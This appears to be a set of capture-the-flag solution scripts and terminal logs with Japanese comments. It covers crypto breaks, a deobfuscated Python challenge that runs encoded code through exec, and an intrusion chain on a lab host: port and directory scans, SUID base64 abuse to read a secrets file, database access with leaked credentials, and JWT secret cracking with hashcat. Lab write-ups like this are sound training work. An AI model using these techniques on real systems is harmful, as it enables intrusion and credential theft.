from Crypto.Cipher import AES

key = bytes.fromhex("4285a7a182c286b5aa39609176d99c13")

with open("NoIV.bin", "rb") as f:
    encrypted_flag = f.read()

# 暗号文をブロック分割
enc_blocks = [encrypted_flag[i : i + 16] for i in range(0, len(encrypted_flag), 16)]
print(f"enc_blocks: {len(enc_blocks)}")

def decrypt_block(block_bytes):
    # 暗号文を復号
    cipher =  AES.new(key, AES.MODE_ECB)
    decrypted = cipher.decrypt(block_bytes)
    return decrypted

decrypted = bytes()

# 暗号文のブロックを逆順に復号
for i in range(len(enc_blocks) - 1, 0, -1):
    # ブロック単体の復号
    dec_ecb_block = decrypt_block(enc_blocks[i])

    # 復号結果は、前のブロックとXORされている。再度XORをとることで復号
    prev_enc_block = enc_blocks[i - 1]
    dec_cbc_block = [blk ^ prev_blk for blk, prev_blk in zip(dec_ecb_block, prev_enc_block)]
    #print(f"decrypted block #{i}: {''.join([chr(c) for c in dec_cbc_block])}")

    decrypted = bytes(dec_cbc_block) + decrypted

# 最初のブロックはIVがわからないので復号できない

with open('dec.zip', 'wb') as f:
    f.write(decrypted)
    print("decrypted data written to dec.zip")

% ag flag
content.xml
2:...<text:p text:style-name="P1">flag{ESYQV0fPMxz4wMmU}</text:p></office:text></office:body></office:document-content>

% python -c 'print(0xad81c92641c0b18c4eda551c1d7828044e3e4a7519aac90ee4691c4a86dce2e1)'
78479434358679743508116090024686132395246871443799969871485501232049475609313

from Crypto.Util.number import long_to_bytes, bytes_to_long

e = 0x10001
n = 78479434358679743508116090024686132395246871443799969871485501232049475609313
with open("RSA-cipher.dat", "rb") as myfile:
    c = bytes_to_long(myfile.read())

p = 1011146650909449935800449563521726151
q = 77614294907759846691928156982114516291863

assert n == p * q

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

m = pow(c, d, n)
print(long_to_bytes(m))

% python solve.py
b'\x02\xb0\xf9\x92\x16M\x1fN\x0f\xcd\xd5Bl\x00flag{X0Myx6IHI8}\n'

from Crypto.Util.number import bytes_to_long
import itertools

def mk_seed(ciphertext, ascii4):
    ascii4_long = bytes_to_long(bytes(ascii4, "ascii"))

    seed_bytes = b""
    for j in range(4):
        seed_bytes = bytes([ciphertext[j] ^ ((ascii4_long >> ((3 - j) * 8)) & 0xFF)]) + seed_bytes
    return seed_bytes

# Read the encrypted file
with open("PRNG.bin", "rb") as f:
    ciphertext = f.read()

# アルファベットのリストを作成
alphabet = [chr(i) for i in range(ord("a"), ord("z") + 1)] + [
    chr(i) for i in range(ord("A"), ord("Z") + 1)
]

# 4文字の組み合わせを生成
combinations = itertools.product(alphabet, repeat=4)

with open("seedlist.hex", "w") as f:

    # ループで組み合わせを処理
    for combo in combinations:
        # 文字列に変換して出力
        ascii4 = "".join(combo)
        seed = mk_seed(ciphertext, ascii4)
        seed_hex = bytes.hex(seed)
        print(ascii4, seed_hex)
        f.write(f"{seed_hex}\n")

def decrypt_first_4bytes(ciphertext, seed):
    plaintext = ""
    for j in range(4):
        plaintext += chr(ciphertext[j] ^ ((seed >> (j * 8)) & 0xFF))
    return plaintext

def decrypt(ciphertext, prng):
    plaintext = ""
    for i in range(0, len(ciphertext), 4):
        xor_val = next(prng)
        for j in range(4):
            # print(f"i: {i}, j: {j}, xor_val: {xor_val}")
            if i + j < len(ciphertext):
                plaintext += chr(ciphertext[i + j] ^ ((xor_val >> (j * 8)) & 0xFF))
    return plaintext

def lcg(m=4294967296, a=233, c=653, seed=0):
    """Linear congruential generator"""
    while True:
        yield seed
        seed = (a * seed + c) % m

# Read the encrypted file
with open("PRNG.bin", "rb") as f:
    ciphertext = f.read()

with open("seedlist.hex", "r") as f:
    for seed_hex in f:
        seed = int(seed_hex.strip(), 16)
        first_4bytes = decrypt_first_4bytes(ciphertext, seed)
        print(
            "[progress] seed: {:08X}, first_4bytes: {}".format(
                seed, first_4bytes.encode("utf-8")
            )
        )

        assert first_4bytes.isalpha()

        prng = lcg(seed=seed)
        plaintext = decrypt(ciphertext, prng)

        if "flag" in plaintext or "FLAG" in plaintext or "Flag" in plaintext:
            print(f"[Hit ASCII!] seed: {seed}, plaintext: {plaintext}")
            with open(f"decrypted-seed-{seed}.txt", "w") as f2:
                f2.write(plaintext)

import sys

if len(sys.argv) < 2:
    exit()

KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en")
FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)

if sys.argv[1] == KEY:
    print("flag{%s}" % FLAG)

% python
>>> chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51)
'3FxYFm4uTYDFFzmb3'

exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52))
TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg=="
TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36]
exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))

# Than volleyball vanish against lumpy berry.
SATO = '[QI3?)c^J:6RK/FV><ex7#kdYov$G0-A{qPs~w1@+`MO,h(La.WuCp5]i ZbjD9E%2yn8rTBm;f*H"!NS}tgz=UlX&4_|\'\\'
# Above face explain for physical decision. 
# Via snake name round terrific brass. 
# Following suggestion sound regarding female recess. 
# Toward vessel disagree beneath huge porter.
SUZUKI = [74-0+0,
        87*1,int(48**1),
# Off purpose land as rural statement.
        int(8_3),int(32.00000),int('34'),
        76 & 0xFF,72 | 0x00,79 ^ 0x00,[65][0],
# During knot rely save wretched scarecrow. 
        (2),47 if True else 0,int(12/1),10 % 11,ord(chr(26)),
        30+5,int(48/2*2),9*9]
#  Plus toe settle with vast insect. 
#  Save hands shelter with ratty produce.
#  Outside legs nest versus tranquil relation.
#  As walk pat round rightful advice. 
# Beside payment train by large key.
# Past behavior post toward unable home. 
#  Among place complain considering unknown current.
( #  Around spark scorch above spotty grape. 
    ''#  Underneath jewel chop past dependent rifle.
    .    join                          ([
        #  Since cobweb tie off hurt string.
SATO[i]         #  Since cobweb tie off hurt string.
for i in SUZUKI
        # if i > 4728:
        #     break
        # t = 234667 * 83785
        # print(t/3457783)
#  Through queen dam of slippery comparison.
])
#  By wall stroke without secret wash.
)
#  Opposite yoke need beside superb lumber. 
print("flog{8vje9wunbp984}")

JXXHello UART: synt{IjUZC5TD}

% sudo nmap -sS -T4 10.10.10.21
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-25 23:16 JST
Nmap scan report for schatzsuche.ctf (10.10.10.21)
Host is up (0.016s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

10.10.10.21 schatzsuche.ctf

% ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://schatzsuche.ctf/FUZZ
...
[Status: 200, Size: 268, Words: 8, Lines: 6, Duration: 7ms]
    * FUZZ: .well-known/security.txt

[Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 7ms]
    * FUZZ: cmsadmin

[Status: 301, Size: 162, Words: 5, Lines: 8, Duration: 7ms]
    * FUZZ: ftp

[Status: 200, Size: 428, Words: 67, Lines: 8, Duration: 6ms]
    * FUZZ: index.html

[Status: 200, Size: 4700, Words: 793, Lines: 141, Duration: 7ms]
    * FUZZ: robots.txt

:: Progress: [4723/4723] :: Job [1/1] :: 4347 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
...

find / -name '*.txt'
cat /var/www/flag.txt

george@330bb6afc5ef:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/base64

george@330bb6afc5ef:~$ /usr/bin/base64 secrets.txt
W01hcmlhREIgQWNjZXNzIEluZm9ybWF0aW9uXQpkYl91c2VyCkg0UmliMF85MGxkQjRSRU4K

[MariaDB Access Information]
db_user
H4Rib0_90ldB4REN

% ssh -L3307:192.168.32.2:3306 george@10.10.10.21
% mysql -h 127.0.0.1 -P 3307 -u db_user --password=H4Rib0_90ldB4REN

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| flag5              |
| information_schema |
+--------------------+
2 rows in set (0.017 sec)

MariaDB [(none)]> use flag5
Database changed

MariaDB [flag5]> show tables;
+-----------------+
| Tables_in_flag5 |
+-----------------+
| flag            |
+-----------------+
1 row in set (0.007 sec)

MariaDB [flag5]> select * from flag;
+----+------------------------+
| id | flag                   |
+----+------------------------+
|  1 | flag{p!V071ng_M31s73r} |
+----+------------------------+

def logistic_map(x0, r, n):
    x = x0
    for _ in range(n):
        x = r * x * (1 - x)
    return x

x0 = 0.3
r = 3.99
n = 9999

result = logistic_map(x0, r, n)
print(f"The value of x_{n}: {result}")

% python solve.py
The value of x_9999: 0.8112735079776592

# import xml.etree.ElementTree as ET
import lxml.etree as ET

def parse_sweets(file):
    tree = ET.parse(file)
    root = tree.getroot()

    max_radius = 0
    max_cookie = None

    for batch in root.findall(".//sweets:batch", root.nsmap):
        icecreams = batch.findall(".//sweets:icecream", root.nsmap)
        candies = batch.findall(".//sweets:candy", root.nsmap)
        cookies = batch.findall(".//sweets:cookie", root.nsmap)

        # 1. 少なくとも二つの子要素 sweets:icecream が含まれる
        if len(icecreams) < 2:
            continue

        # 2. 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
        if any(
            float(
                ic.get("{http://xml.vlc-cybercontest.com/icecream}amount").rstrip("g")
            )
            < 105
            for ic in icecreams
        ):
            continue

        # 3. 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
        if (
            sum(
                float(
                    c.get("{http://xml.vlc-cybercontest.com/candy}weight").rstrip("g")
                )
                for c in candies
            )
            < 28.0
        ):
            continue

        # 4. 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
        if (
            len(
                set(
                    c.get("{http://xml.vlc-cybercontest.com/candy}shape")
                    for c in candies
                )
            )
            < 5
        ):
            continue

        for cookie in cookies:
            # 5. cookie:kind 属性が icing であり...
            if cookie.get("{http://xml.vlc-cybercontest.com/cookie}kind") == "icing":
                radius = float(
                    cookie.get("{http://xml.vlc-cybercontest.com/cookie}radius").rstrip(
                        "cm"
                    )
                )
                # かつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
                if radius >= 3.0:
                    [
                        print(ET.tostring(cookie, encoding="unicode"))
                        for cookie in cookies
                    ]

parse_sweets("sweets.xml")

% python solve.py
<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x6937BAA7" cookie:kind="languedechat" cookie:radius="3.1418079cm">flag{sZ8d5FbntXbL9uwP}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x19A83890" cookie:kind="checker" cookie:radius="3.0552874cm">flag{QxNFv5q9gtnvaXEc}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0xB43E03AC" cookie:kind="icing" cookie:radius="3.1110701cm">flag{YXBbN3zpqxJy8CvA}</sweets:cookie>

<sweets:cookie xmlns:sweets="http://xml.vlc-cybercontest.com/sweets" xmlns:cookie="http://xml.vlc-cybercontest.com/cookie" xmlns:icecream="http://xml.vlc-cybercontest.com/icecream" xmlns:candy="http://xml.vlc-cybercontest.com/candy" cookie:id="0x9F045677" cookie:kind="checker" cookie:radius="3.0090029cm">flag{28j3vnedw7BELQxU}</sweets:cookie>

Twisted.png をピクセルごとに処理して、fixed-Twisted.png を作って保存してください。

ただし、 Twisted.png は、画像の中心からの距離 r [pixel] に対して

θ = - (r ^ 2) / (250 ^ 2) [rad]
だけ回転されています(反時計回りを正とします)。逆変換を施して fixed-Twsited.png を作ってください。

from PIL import Image
import numpy as np

def rotate_image(image_path, output_path):
    # 画像を開く
    img = Image.open(image_path)
    width, height = img.size
    pixels = np.array(img)

    # 新しい画像のピクセルを格納する配列を作成
    new_pixels = np.zeros_like(pixels)

    # 画像の中心を計算
    center_x, center_y = width / 2, height / 2

    # 各ピクセルに対して
    for y in range(height):
        for x in range(width):
            # 中心からの距離を計算
            dx, dy = x - center_x, y - center_y
            r = np.sqrt(dx**2 + dy**2)

            # 角度を計算
            theta =  -(r**2) / (250**2)

            # 新しい位置を計算
            new_x = center_x + (x - center_x) * np.cos(theta) - (y - center_y) * np.sin(theta)
            new_y = center_y + (x - center_x) * np.sin(theta) + (y - center_y) * np.cos(theta)

#            print(f"({x}, {y}) -> ({new_x}, {new_y})")

            # 新しい位置が画像の範囲内にある場合、ピクセルを移動
            if 0 <= new_x < width and 0 <= new_y < height:
                new_pixels[int(new_y), int(new_x)] = pixels[y, x]

    # 新しい画像を作成して保存
    new_img = Image.fromarray(new_pixels)
    new_img.save(output_path)

# 関数を呼び出す
rotate_image("Twisted.png", "fixed-Twisted.png")

from flask import Flask
from flask import jsonify
from flask import request

from flask_jwt_extended import create_access_token
from flask_jwt_extended import get_jwt_identity
from flask_jwt_extended import jwt_required
from flask_jwt_extended import JWTManager

app = Flask(__name__)

app.config["JWT_SECRET_KEY"] = "*************"
app.config["JWT_ACCESS_TOKEN_EXPIRES"] = False
app.config["JWT_REFRESH_TOKEN_EXPIRES"] = False
app.config["JWT_COOKIE_CSRF_PROTECT"] = False
app.config["JWT_ENCODE_NBF"] = False

jwt = JWTManager(app)

@app.route("/login", methods=["POST"])
def login():
    users = {}
    users['test'] = 'test'
    users['admin'] = '*************'
    username = request.json.get("username", None)
    print(username)
    password = request.json.get("password", None)
    print(password)
    if (not username in users) or (password != users[username]):
        return jsonify({"msg": "Bad username or password"}), 401

    access_token = create_access_token(identity=username)
    return jsonify(access_token=access_token)

@app.route("/protected", methods=["POST"])
@jwt_required()
def protected():
    current_user = get_jwt_identity()
    if current_user == "test" :
        return "ummm...."
    elif current_user == "admin" :
        filepath = request.json.get("filepath",None)
        f = open(filepath,'r')
        filedata = f.read()
        f.close()
        return jsonify(filedata), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0")

% hashcat -a 0 -m 16500 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ' /usr/share/wordlists/rockyou.txt --show
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwODg0OTA1NSwianRpIjoiMGZkY2NlZjQtZmFmNi00ZjQ1LThiODgtNWU4Y2VhMWZhOTlkIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InRlc3QifQ.G5nYLH6uv37IdJRGw9FFrDBa_TBGliO4dlKsFvEVzcQ:conankun